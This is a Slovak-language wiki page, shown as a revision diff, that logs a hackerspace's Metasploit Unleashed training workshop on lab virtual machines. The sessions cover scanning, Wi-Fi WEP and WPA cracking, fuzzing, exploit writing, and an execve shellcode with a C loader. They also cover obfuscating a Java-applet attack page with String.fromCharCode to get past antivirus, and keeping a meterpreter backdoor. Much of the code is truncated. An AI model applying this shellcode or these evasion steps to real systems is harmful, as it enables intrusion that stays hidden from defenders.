event:metasploit_unleashed_workshop
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| event:metasploit_unleashed_workshop [2012/06/28 14:01] – [Metasploit Unleashed Workshop] Aktuálny stav (6/2012) zombie | event:metasploit_unleashed_workshop [2025/03/13 14:22] (current) – fix templatere plugin invocation root | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| + | ~~NOTOC~~ | ||
| + | ====== Metasploit Unleashed Workshop ====== | ||
| + | |||
| + | {{template> | ||
| + | name=Metasploit Unleashed Workshop| | ||
| + | image=: | ||
| + | organizer=[[user: | ||
| + | datetime=Raz za mesiac \\ vo štvrtok \\ (nie prvého) \\ o 20:00| | ||
| + | place=brmlab| | ||
| + | stream=[[stream]]}} | ||
| + | |||
| + | ==== Aktuálny stav (6/2012) ==== | ||
| + | |||
| + | Metasploit Unleashed workshop pokračuje. Chcem sa spýtať, o aké témy | ||
| + | bude záujem (viď nižšie)? | ||
| + | |||
| + | Ďalšia vec je, že by sa workshop nekonal každý týždeň, ale menej často | ||
| + | (napríklad 1x za mesiac) vo štvrtok. Záleží na dohode... | ||
| + | |||
| + | |||
| + | ==== Správa o štarte pravidelného workshopu (10/2011) ==== | ||
| + | |||
| + | Rád by som urobil v brmlabe Metasploit Unleashed workshop. Bol by | ||
| + | pravidelne raz za týždeň, prešlo by sa postupne od úplných základov, | ||
| + | cez písanie exploitu, až k featurám metasploitu, | ||
| + | meterpreteru. Po skončení organizovaných stretnutí dúfam, že zostane | ||
| + | hŕstka ľudí pracovať na hľadaní dier a písaní exploitov. | ||
| + | |||
| + | Nemá to byť prednáška pri tabuli, ale skúšanie príkladov naživo (jeden | ||
| + | na projektor a inak každý sám na svojom počítači). Predpokladom je | ||
| + | nainštalovaný Virtualbox alebo VMWare (od VMWare sú zdarma verzie | ||
| + | Player a Server). Musia byť funkčné (to je upozornenie pre tých, čo | ||
| + | majú nejak upravený kernel). | ||
| + | |||
| + | Prvý týždeň sa budú preberať základy (používanie msfconsole, rozdiely | ||
| + | medzi payloadami, použitie existujúceho exploitu voči Windows XP SP2, | ||
| + | úplne základné použitie meterpreteru). | ||
| + | |||
| + | Komu sa bude páčiť workshop alebo materiál Metasploit Unleashed, nech | ||
| + | zváži dobrovoľný dar pre [[http:// | ||
| + | |||
| + | |||
| + | ===== Video ===== | ||
| + | |||
| + | ==== Stream ==== | ||
| + | |||
| + | * https:// | ||
| + | |||
| + | ==== Záznam ==== | ||
| + | |||
| + | * http:// | ||
| + | * na serveri data (nat.brmlab.cz) v / | ||
| + | * pri nahrávaní na serveri brmvid v / | ||
| + | |||
| + | ===== Čo je potreba mať nainštalované ===== | ||
| + | |||
| + | Virtuálne mašiny k dispozícii na serveri data (nat.brmlab.cz), | ||
| + | |||
| + | * BackTrack r1 VM (32-bit): / | ||
| + | * pre VMWare | ||
| + | * pre VirtualBox (ten istý image; použíje sa cez Machine-> | ||
| + | * hlavne kvôli metasploitu | ||
| + | * Windows XP Pro SP2 (bez patchov, povypínané firewally a varovania) | ||
| + | * pre VMWare | ||
| + | * pre VirtualBox | ||
| + | * ako cieľová mašina na útočenie | ||
| + | |||
| + | Je možné púšťať metasploit inak, ako z BackTracku. Je ale potreba mať ruby a aby fungovalo spojenie s databázou (viď db_* príkazy), nakonfigurovať postgresql/ | ||
| + | |||
| + | < | ||
| + | $ svn co https:// | ||
| + | </ | ||
| + | |||
| + | Človek môže mať nainštalované nejaké vlastné Windows (taký človek sa aspoň nebude nudiť, lebo mu možno nebude fungovať všetko tak bez problémov, ako ostatným, ktorí majú rovnakú mašinu). | ||
| + | |||
| + | |||
| + | ===== Materiály ===== | ||
| + | |||
| + | http:// | ||
| + | |||
| + | http:// | ||
| + | |||
| + | ===== 1. týždeň ===== | ||
| + | |||
| + | * msfconsole | ||
| + | * msfcli | ||
| + | * moduly | ||
| + | * meterpreter | ||
| + | |||
| + | ===== 2. týždeň ===== | ||
| + | |||
| + | Téma: identifikácia služieb v sieti, scanovanie | ||
| + | |||
| + | * db_* | ||
| + | * nmap | ||
| + | * auxiliary/ | ||
| + | * snmp | ||
| + | * psnuffle | ||
| + | * idle scanning | ||
| + | * [[http:// | ||
| + | |||
| + | ===== 3. týždeň (2011-11-10) ===== | ||
| + | |||
| + | Téma: hľadanie zraniteľností (Nessus/ | ||
| + | |||
| + | * OpenVAS 0 výsledkov | ||
| + | * Nessus sme konfigurovali a získali výsledky; db_autopwn zlyhalo | ||
| + | |||
| + | ===== 4. týždeň (2011-11-17) ===== | ||
| + | |||
| + | Téma: Wi-Fi | ||
| + | |||
| + | Je k tomu treba mať kartu, ktorá vie packet injection a balík aircrack-ng. Utility bežiace pod vmware-om vedia použiť wi-fi karty, ktoré sa pripájajú cez USB. | ||
| + | |||
| + | Či funguje packet injection, sa rozozná príkazom aireplay-ng --test; vo výstupe musí byť nenulové percento odpovedí (tj. 0% u každého AP znamená, že niečo nie je v poriadku). | ||
| + | |||
| + | Dúfam, že sa stihneme dostať aj ku karmetasploitu. K tomu je potreba metasploit s databázou. | ||
| + | |||
| + | Čo sme nakoniec robili: | ||
| + | |||
| + | * crack WEP | ||
| + | * crack WPA-PSK (slovníkovým útokom) | ||
| + | * aircrack poslúžil lepšie než cowpatty | ||
| + | * crackoval pcap dump, o ktorom cowpatty tvrdil, že v ňom nie je celý handshake | ||
| + | * berie štandardný vstup, ide potom napr. filtrovať zo slovníka dostatočne dlhé heslá na PSK: | ||
| + | |||
| + | < | ||
| + | grep -E ' | ||
| + | </ | ||
| + | |||
| + | * karmetasploit | ||
| + | * podľa materiálov | ||
| + | * db_connect treba z karma.rc vymazať; lebo s nesprávnym heslom iba spôsobí odpojenie | ||
| + | * browser-autopwn nakoniec nehackol naše testovacie Windows | ||
| + | |||
| + | |||
| + | |||
| + | ===== 5. týždeň (2011-11-24) ===== | ||
| + | |||
| + | Téma: Fuzzing | ||
| + | |||
| + | * fuzzovanie pomocou metasploitu..? | ||
| + | * HotFuzz | ||
| + | * download | ||
| + | * buďto lokálne z data:/ | ||
| + | * alebo z projektovej stránky http:// | ||
| + | * inštalácia (ideálne do VMWare Windows XP, ktoré už všetci máme; pozor, VirtualBox verzia má po inštalácii už iba 200MB voľného miesta, to je obmedzujúce pre doinštalovanie ďalších aplikácií, | ||
| + | * všetko iba odklikať (v každom jednotlivom inštalátore, | ||
| + | * BIND si pred inštaláciou vypýta heslo, stačí vyplniť ľubovoľné a spustiť inštaláciu BINDu | ||
| + | |||
| + | ===== 6. týždeň (2011-12-08) ===== | ||
| + | |||
| + | (po Lightning talkoch) | ||
| + | |||
| + | Téma: Fuzzing skutočný workshop...? | ||
| + | |||
| + | ...každý si bude fuzzovať aplikáciu, ktorú chce? | ||
| + | * [[project: | ||
| + | |||
| + | ===== 7. týždeň (2011-12-15) ===== | ||
| + | |||
| + | Téma: Exploity | ||
| + | |||
| + | * Immunity debugger | ||
| + | * exploit na CesarFTP | ||
| + | * išlo to veľmi pomaly; na ďalšom workshope to zopakujeme rýchlejšie | ||
| + | |||
| + | ===== 8. týždeň (2011-12-22) ===== | ||
| + | |||
| + | * nekonal sa, podobne niekoľko ďalších | ||
| + | |||
| + | ===== Shellkódy (2012-01-19) ===== | ||
| + | |||
| + | Téma: Shellkód, jeho stavba | ||
| + | * http:// | ||
| + | * AT&T syntax MOV priraďuje do argumentu vpravo, Intel syntax do ľavého. | ||
| + | * užitočné príkazy gdb po spustení gdb fungujeshellkod: | ||
| + | |||
| + | |||
| + | start | ||
| + | n | ||
| + | info registers | ||
| + | set $eip = shellkod | ||
| + | display/3i $eip | ||
| + | ni | ||
| + | set disassembly-flavor intel | ||
| + | x/30i shellkod | ||
| + | |||
| + | |||
| + | * v shellkod1.c (a všetkom, čo z neho vychádzalo, | ||
| + | |||
| + | < | ||
| + | xorl %eax, %eax /* vyrob nulu */ ; \ | ||
| + | movl %eax, %edx /* 3. parametr execve (*envp := NULL) */ ; \ | ||
| + | </ | ||
| + | |||
| + | |||
| + | * Segmentation fault sme narozdiel od textu riešili touto zmenou: | ||
| + | |||
| + | < | ||
| + | #include < | ||
| + | |||
| + | mprotect( (void*) ((unsigned) shellkod & 0xffffe000), | ||
| + | </ | ||
| + | |||
| + | * celá verzia shellkod1 napísaná pre nasm: | ||
| + | |||
| + | < | ||
| + | [bits 32] | ||
| + | jmp finta | ||
| + | shellkod: | ||
| + | pop esi | ||
| + | mov DWORD [esi+0x8], | ||
| + | xor eax,eax | ||
| + | mov edx,eax | ||
| + | mov DWORD [esi+0xc], | ||
| + | mov BYTE [esi+0x7], | ||
| + | mov al,0xb | ||
| + | mov ebx,esi | ||
| + | lea ecx, | ||
| + | int 0x80 | ||
| + | xor ebx,ebx | ||
| + | xor eax,eax | ||
| + | inc eax | ||
| + | int 0x80 | ||
| + | finta: | ||
| + | call | ||
| + | db "/ | ||
| + | |||
| + | </ | ||
| + | |||
| + | * kompilácia a rýchlejší prevod na reťazec: | ||
| + | |||
| + | nasm asmintel.asm | ||
| + | / | ||
| + | " | ||
| + | " | ||
| + | " | ||
| + | |||
| + | |||
| + | |||
| + | * výsledný fungujeshellkod.c volá priamo funkciu (ret + 2 nefungovalo) | ||
| + | |||
| + | < | ||
| + | #include < | ||
| + | #include < | ||
| + | |||
| + | char * shellkod = | ||
| + | " | ||
| + | " | ||
| + | " | ||
| + | ; | ||
| + | |||
| + | int main() { | ||
| + | mprotect( (void*) ((unsigned) shellkod & 0xffffe000), | ||
| + | void(*f)(void) = shellkod; | ||
| + | f(); | ||
| + | return 0; | ||
| + | } | ||
| + | |||
| + | </ | ||
| + | |||
| + | ===== Java applet infection (2012-01-26) ===== | ||
| + | |||
| + | Oproti oficiálnemu materiálu sme urobili tieto zmeny: | ||
| + | |||
| + | - opraviť vo VBScripte chýbajúci backslash pri >> C: | ||
| + | - výsledné HTML kvôli antivíru obfuskovať nasledovne: | ||
| + | |||
| + | < | ||
| + | <body bgcolor=" | ||
| + | <div id=" | ||
| + | < | ||
| + | var div = document.getElementById(' | ||
| + | div.innerHTML = | ||
| + | // sem vložiť pôvodný obsah zakódovaný | ||
| + | // cez String.fromCharCode(), | ||
| + | // napr. pomocou HackBaru | ||
| + | ; | ||
| + | </ | ||
| + | </ | ||
| + | </ | ||
| + | </ | ||
| + | |||
| + | ===== Encoding/ | ||
| + | |||
| + | Na minulom workshope sme si ukázali, ako pomocou Java appletu ovládnuť Windows mašinu. Ukázali sme si, ako si udržať prístup pomocou backdooru. V prípade, že je nainštalovaný antivírus (v našom prípade AVG), obsah útočnej stránky je zablokovaný. To sa nám podarilo obísť zakódovaním HTML stránky. | ||
| + | |||
| + | Antivírus ale naďalej detekuje hrozbu v ukladanom .exe súbore. Na ďalšom workshope si ukážeme, ako ho upraviť za účelom obídenia tejto detekcie. | ||
| + | |||
| + | Treba mať nainštalované: | ||
| + | |||
| + | Materiály: | ||
| + | |||
| + | * https:// | ||
| + | * http:// | ||
| + | |||
| + | Na workshope vznikol problém -- OllyDBG nám zobrazoval iný entry point, ako LordPE. Je to vlastnosť: nový OllyDBG 2.01 rozoznáva packer a analyzuje ho. Dá sa to vypnúť v Options-> | ||
| + | |||
| + | |||
| + | ===== A co dál? ===== | ||
| + | |||
| + | ==== Príspevky ==== | ||
| + | |||
| + | O aké témy je záujem? | ||
| + | |||
| + | Kto by si mohol prípadne pripraviť nejakú tému (z Metasploit | ||
| + | Unleashed alebo im príbuznú)? | ||
| + | |||
| + | * encoding/ | ||
| + | * ako packer umiestniť, aby sa nemusel meniť Origin-Entry Point | ||
| + | * format string vulnerabilities | ||
| + | * return-to-libc exploiting | ||
| + | * SafeSEH exploiting | ||
| + | * file format vulnerabilities | ||
| + | |||
| + | * https:// | ||
| + | * https:// | ||
| + | * [[http:// | ||
| + | * http:// | ||
| + | |||
| + | ==== Úlohy ==== | ||
| + | |||
| + | Hodilo by sa vyriešiť nasledujúce problémy: | ||
| + | |||
| + | - meterpreter persistence skript (ktorý inštaluje backdoor) nekontroluje, | ||
| + | * ak sa pripája na handler, ktorý spúšťa persistence, | ||
| + | * ak sa pripája na inú adresu, hrozí, že užívateľ musí do personal firewallu dve spojenia miesto jedného | ||
| + | - jobs -v nezobrazí dosť podrobné informácie (ako hodnoty AutoRunScript), | ||
| + | |||
| + | ==== Links ==== | ||
| + | |||
| + | * http:// | ||
| + | |||
| + | {{tag> | ||